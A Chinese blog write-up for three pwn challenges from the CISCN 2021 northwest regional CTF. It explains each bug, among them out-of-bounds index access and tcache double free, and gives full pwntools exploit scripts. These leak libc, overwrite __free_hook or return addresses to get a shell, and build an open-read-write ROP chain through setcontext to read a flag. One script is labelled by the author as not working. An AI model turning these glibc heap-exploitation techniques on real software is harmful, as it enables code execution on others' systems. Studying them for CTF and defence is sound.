ciscn2021西北部分pwn
发表于:2021-06-11 |
字数统计: 2.1k | 阅读时长: 11分钟 | 阅读量:

ciscn2021西北部分pwn

打了一天的国赛,发现自己还是太菜了

pwny

读取随机数到bss段上作为文件描述符范围在0~0xff之间,又在自定义的函数sub_ba0中发现可以根据偏移进行任意写的操作,sub_b20可以根据偏移进行任意读操作,因此就可以覆盖fd的值,爆破fd使其等于0,我们就可以进行任意读写

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

我们可以通过泄露出bss段上的stdout指针指向的_IO_2_1_stdout_的地址来泄露libc的基地址,在通过泄露data段上的off_202008来泄露bss段上的地址,再通过libc上的environ来泄露栈地址。
在这里插入图片描述
因此就可以通过偏移将onegadget直接写入栈上的返回地址中,获得shell。

用爆破调试有点麻烦,发现可以修改二进制程序,将fd直接改成0再进行调试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
exp如下:
from pwn import *
io=process('./pwny')
#io=remote('124.70.20.79',22270)
elf=ELF('./pwny')
#libc=ELF('./libc-2.27.so')
libc=elf.libc
context(log_level='debug')
context.terminal=['tmux','splitw','-h']

def read():
io.recvuntil('Your choice: ')
io.send('1 ')
io.recvuntil('Index: ')

def write(a1):
io.recvuntil('Your choice: ')
io.send('2 ')
io.recvuntil('Index: ')
#gdb.attach(io)
io.send(str(a1)+' ')

def exp():
write(256)
gdb.attach(io)
read()
#io.send('-64\n')
io.send('\xF8\xFF\xFF\xFF\xFF\xFF\xFF\xff')
#gdb.attach(io)
io.recvuntil('Result: ')
stdout=int(io.recv(12),16)
print(hex(stdout))
libcbase = stdout-libc.symbols['_IO_2_1_stdout_']
print(hex(libcbase))
system=libcbase+libc.symbols['system']
stderr=libcbase+libc.symbols['_IO_2_1_stderr_']
binsh=libcbase+libc.search('/bin/sh').next()
environ=libcbase+libc.symbols['_environ']
onegadget=[0x4f3d5,0x4f432,0x10a41c]
#onegadget=[0x4f365,0x4f3c2,0x10a45c]
#offset=(environ-(bss_addr+0x60))//8
#gdb.attach(io)
read()
io.send('\xf5\xff\xff\xff\xff\xff\xff\xff')
io.recvuntil('Result: ')
bss_addr=int(io.recv(12),16)-8
print(hex(bss_addr))

read()
offset=(environ-(bss_addr+0x60))//8
io.send(p64(offset))
io.recvuntil('Result: ')
stack=int(io.recv(12),16)
print(hex(stack))


ret_addr=stack-0x120
offset=((ret_addr-(bss_addr+0x60))//8)

write(offset)
payload=p64(libcbase+onegadget[2])
io.send(payload)
io.interactive()
#io.sendline()

#exp()
i=0
while(i!=100):
try:
#io=remote('124.70.20.79',22270)
io=process('./pwny')
i+=1
exp()
except:
i+=1
io.close()

lonelywolf

常规的菜单题
发现漏洞在dele中对free后的指针没有置0
在这里插入图片描述

通过doublefree泄露heap_base控制fd指针来控制tcache_struct,将0x250对应的counts改为\xff在freetcache_struct来泄露libcbase的基地址,最后再通过doublefree修改fd指针为__free_hook-0x8(__free_hook-0x10前8个字节不知道为啥修改不了),在__free_hook-0x8出填上/bin/sh\x00,在__free_hook填上system地址,dele(0),拿到shell。但在打远程的时候,发现报出了doublefree漏洞,将第一次free后的tcache的fd和bk指针置0,在free就行了。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
#io = process('./lonelywolf')
io=remote('124.70.20.79',22175)
#elf=ELF('./lonelywolf')
#libc=elf.libc
libc=ELF('./libc-2.271.so')
#context(log_level='debug')

def add(a1,a2):
io.sendafter('Your choice: ','1 ')
io.sendafter('Index: ',str(a1)+' ')
io.sendafter('Size: ',str(a2)+' ')

def edit(a1,a2):
io.sendafter('Your choice: ','2 ')
io.sendafter('Index: ',str(a1)+' ')
io.sendlineafter('Content: ',a2)

def show(a1):
io.sendafter('Your choice: ','3 ')
io.sendafter('Index: ',str(a1)+' ')

def dele(a1):
io.sendafter('Your choice: ','4 ')
io.sendafter('Index: ',str(a1)+' ')

def exp():
add(0,96)#0 0x60
dele(0)
edit(0,p64(0)*2)
dele(0)
show(0)
io.recvuntil('Content: ')
#print(io.recv(6))
heapbase=u64(io.recv(6).ljust(8,'\x00'))-0x260
#heapbase=int(io.recv(14),16)
print(hex(heapbase))
edit(0,p64(heapbase+0x10))
add(0,96)
#pause()
add(0,96)#tcache
edit(0,'\x00'*0x20+'\xff'*0x8)
dele(0)
#pause()
show(0)
io.recvuntil('Content: ')
malloc_hook=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-16
libcbase=malloc_hook-libc.symbols['__malloc_hook']
print(hex(libcbase))
free_hook=libcbase+libc.symbols['__free_hook']
system=libcbase+libc.symbols['system']
add(0,120)#0x30
edit(0,'\x00'*0x40)
#pause()
dele(0)
edit(0,p64(0)*2)
dele(0)
edit(0,p64(free_hook-0x8)+p64(0))
add(0,120)
add(0,120)
edit(0,'/bin/sh\x00'+p64(system))
pause()
dele(0)
io.interactive()


exp()

silverwolf

是个沙箱堆题,libc2.27,第一次做,发现程序逻辑和上个题一样,知识不能用system,但可以使用open、read、write。思路就是利用libc中的environ将chunk申请到栈上,再覆盖返回地址构造rop(这种思路实现起来有点困难,因为chunk可写的大小最大时0x78),但在调试时发现一进入open函数就报错,我猜测是因为libc中的open函数是open64,所以不能绕过沙箱,先放上我的错误exp(希望哪位大佬可以帮我调试下,帮帮我这个小菜鸡)(问题已解决,感谢 KANGEL12 师傅的提醒。),后续补上正确的exp。
在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import *
io = process('./silverwolf')
#io=remote('124.70.20.79',22220)
elf=ELF('./silverwolf')
libc=elf.libc
#libc=ELF('./libc-2.27.so')

context.terminal=['tmux','splitw','-h']
context(log_level='debug')
#pop_rdi=0x215bf
#pop_rsi=0x23ee
#pop_rdx=0x1b96
#pop_rdx_rsi=0x130569

pop_rax=0x43a78
pop_rdx_rsi=0x130889
pop_rdi=0x2155f
pop_rsi=0x23e8a
pop_rdx=0x1b96

def add(a1,a2):
io.sendafter('Your choice: ','1 ')
io.sendafter('Index: ',str(a1)+' ')
io.sendafter('Size: ',str(a2)+' ')

def edit(a1,a2):
io.sendafter('Your choice: ','2 ')
io.sendafter('Index: ',str(a1)+' ')
io.sendlineafter('Content: ',a2)

def show(a1):
io.sendafter('Your choice: ','3 ')
io.sendafter('Index: ',str(a1)+' ')

def dele(a1):
io.sendafter('Your choice: ','4 ')
io.sendafter('Index: ',str(a1)+' ')

def exp():
add(0,80)#0 0x50
dele(0)
edit(0,p64(0)*2)
dele(0)
show(0)
io.recvuntil('Content: ')
#print(io.recv(6))
heapbase=u64(io.recv(6).ljust(8,'\x00'))-0x1880
print(hex(heapbase))
edit(0,p64(heapbase+0x10))
add(0,80)
#pause()
add(0,88)#tcache
edit(0,'\x00'*6+'\x01'+'\x00'*(0x20-7)+'\xff'*0x8+'\x00'*0x2f)
add(0,120)
dele(0)
edit(0,p64(heapbase+0x40))
add(0,120)
add(0,120)#tcache+0x40
edit(0,'\x00'*0x70)

add(0,96)
dele(0)
edit(0,p64(0)*2)
dele(0)
edit(0,p64(heapbase+0x10))
add(0,96)
add(0,96)#tcache
#pause()

dele(0)
#pause()
show(0)
io.recvuntil('Content: ')
malloc_hook=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-16
libcbase=malloc_hook-libc.symbols['__malloc_hook']
print(hex(libcbase))
free_hook=libcbase+libc.symbols['__free_hook']
environ=libcbase+libc.symbols['environ']
opens=libcbase+libc.symbols['open']
reads=libcbase+libc.symbols['read']

add(0,120)#0x78
#pause()
edit(0,'\x00'*0x68+p64(environ))
add(0,96)#environ
show(0)
io.recvuntil('Content: ')
stack = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
#print(hex(stack))
#gdb.attach(io)
#pause()
add_stack=stack-0x120
print(hex(add_stack))
add(0,120)#0x78
dele(0)
#pause()
edit(0,p64(0)*2)
dele(0)
edit(0,p64(add_stack))
add(0,120)
#pause()
add(0,120)#stack
show(0)
#pause()
io.recvuntil('Content: ')
main=u64(io.recv(6).ljust(8,'\x00'))+0x10
print(hex(main))

#open('./flag',0)

orw=p64(pop_rdi+libcbase)+p64(add_stack+0x60)+p64(pop_rsi+libcbase)+p64(0)+p64(opens)
#read(fd,buf,0x30)
orw+=p64(pop_rdi+libcbase)+p64(3)+p64(pop_rdx_rsi+libcbase)+p64(0x30)+p64(heapbase+0x10)+p64(reads)+p64(main)+'./flag\x00\x00'
#write(fd,buf,0x30)
#orw+=p64(pop_rdi+libcbase)+p64(1)+p64(pop_rsi+libcbase)+p64(heapbase+0x10)+p64(pop_rdx+libcbase)+p64(0x30)+'./flag\x00\x00'
print(len(orw))
gdb.attach(io)
edit(0,orw)

add(0,80)
dele(0)
edit(0,p64(0)*2)
dele(0)
edit(0,p64(heapbase+0x10))
add(0,80)
add(0,80)
#gdb.attach(io)
#io.recvuntil('\n',timeout=10000000)
show(0)

exp()

看了南邮师傅们的博客复现了一下,思路主要是,将rop写在堆上,用setcontext函数设置rsp的值也就是栈顶的地址,将栈转移到堆上,执行rop。

正确exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
f-rom pwn import*
#context.terminal=['tmux','splitw','-h']

def menu(ch):
p.sendlineafter('choice:',str(ch))
def add(size):
menu(1)
p.sendlineafter('Index:',str(0))
p.sendlineafter('Size:',str(size))
def edit(content):
menu(2)
p.sendlineafter('Index:',str(0))
p.sendlineafter('Content:',content)
def show():
menu(3)
p.sendlineafter('Index:',str(0))
def free():
menu(4)
p.sendlineafter('Index:',str(0))
#p = process('./silverwolf')
#elf = ELF('./silverwolf')
#libc = elf.libc
libc = ELF('./libc-2.27.so')

for i in range(7):
add(0x78)
edit('./flag\x00')
#pause()
for i in range(2):
edit('\x00'*0x10)
free()
show()
p.recvuntil('Content: ')
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x5B0 - 0x940 - 0x70
log.info('HEAP:\t' + hex(heap_base))
edit(p64(heap_base + 0x10))
add(0x78)
add(0x78)
edit('\x00'*0x23 + '\x07')
#pause()
free()
show()
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x70
log.info('LIBC:\t' + hex(libc_base))

edit('\x03'*0x40 + p64(libc_base + libc.sym['__free_hook']) + '\x00'*8*1 + p64(heap_base + 0x4000) + p64(heap_base + 0x3000 + 0x60) + p64(heap_base + 0x1000) + p64(heap_base + 0x10A0) + p64(heap_base + 0x3000))
#pause()
add(0x18)

########################
pop_rdi_ret = libc_base + 0x00000000000215BF
pop_rdx_ret = libc_base + 0x0000000000001B96
pop_rax_ret = libc_base + 0x0000000000043AE8
pop_rsi_ret = libc_base + 0x0000000000023EEA
ret = libc_base + 0x00000000000008AA
#pop_rax_ret=0x43a78 + libc_base
#pop_rdx_rsi=0x130889 + libc_base
#pop_rdi_ret=0x2155f + libc_base
#pop_rsi_ret=0x23e8a + libc_base
#pop_rdx_ret=0x1b96 + libc_base

Open = libc_base + libc.sym['open']
Read = libc_base + libc.sym['read']
Write = libc_base + libc.sym['write']
syscall = Read + 15
FLAG = heap_base + 0x4000
gadget = libc_base + libc.sym['setcontext'] + 53

orw = p64(pop_rdi_ret) + p64(FLAG)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(heap_base + 0x3000)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(Read)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write)

#############################
#gdb.attach(p)
edit(p64(gadget))
add(0x38)
edit('./flag\x00')
add(0x78)
edit(orw[:0x60])
add(0x48)
edit(orw[0x60:])
add(0x68)
edit(p64(heap_base + 0x3000) + p64(pop_rdi_ret + 1))
add(0x58)
gdb.attach(p)
free()
p.interactive()

上一篇:
ciscn 西北分区赛部分pwn
下一篇:
cstc部分pwn